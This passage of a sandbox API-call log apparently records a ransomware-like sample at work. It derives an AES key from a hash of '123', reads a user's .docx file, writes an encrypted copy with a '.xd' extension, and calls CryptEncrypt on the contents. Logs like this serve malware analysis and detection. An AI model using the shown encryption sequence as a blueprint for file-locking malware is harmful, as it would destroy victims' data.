lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.803] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621540, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0071.823] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0071.823] CryptCreateHash (in: hProv=0x17aa6f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0071.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.824] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0071.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.843] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.844] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.844] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.844] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0071.844] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0071.844] CryptHashData (hHash=0x164c630, pbData=0x1629350, dwDataLen=0x3, dwFlags=0x1) returned 1 [0071.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.844] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.844] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.845] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.845] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.845] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.845] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0071.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0071.845] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0071.845] CryptDeriveKey (in: hProv=0x17aa6f8, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7f0) returned 1 [0071.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.845] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.850] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.850] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0071.851] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0071.851] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0071.851] CryptDestroyHash (hHash=0x164c630) returned 1 [0071.851] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.851] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.851] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.851] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.852] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.852] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\_p0ge 3-q-2li6.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0071.852] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.852] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0071.852] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.852] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.852] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.852] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0071.853] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\_P0ge 3-q-2li6.docx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\_p0ge 3-q-2li6.docx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0071.855] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.855] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.855] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.855] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.858] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0071.858] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0xb793, lpOverlapped=0x0) returned 1 [0071.861] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0071.865] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.889] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.894] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.894] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0071.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.895] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.895] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0071.895] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.895] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0071.895] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.895] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.895] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.895] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0071.895] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0071.896] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0071.896] CryptGetKeyParam (in: hKey=0x164c7f0, dwParam=0x7, pbData=0x16294a0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294a0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0071.896] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.896] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.896] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.896] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.896] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.897] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.897] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.897] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.897] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.897] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.897] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.897] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.897] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.897] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.897] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.897] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.897] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.897] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.897] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.898] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.898] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.898] CryptEncrypt (in: hKey=0x164c7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xb793, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xb7a0) returned 1 [0071.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.898] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.898] CharLowerBuffW (in: lpsz="byte[47009]", cchLength=0xb | out: lpsz="byte[47009]") returned 0xb [0071.899] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.909] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.909] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.909] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.909] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.910] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.910] CryptEncrypt (in: hKey=0x164c7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e52728*, pdwDataLen=0x130e618*=0xb793, dwBufLen=0xb7a0 | out: pbData=0x4e52728*, pdwDataLen=0x130e618*=0xb7a0) returned 1 [0071.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.910] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.910] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.910] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.910] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.910] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.910] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.911] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.911] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.911] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.911] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.911] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.914] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.914] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.914] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, 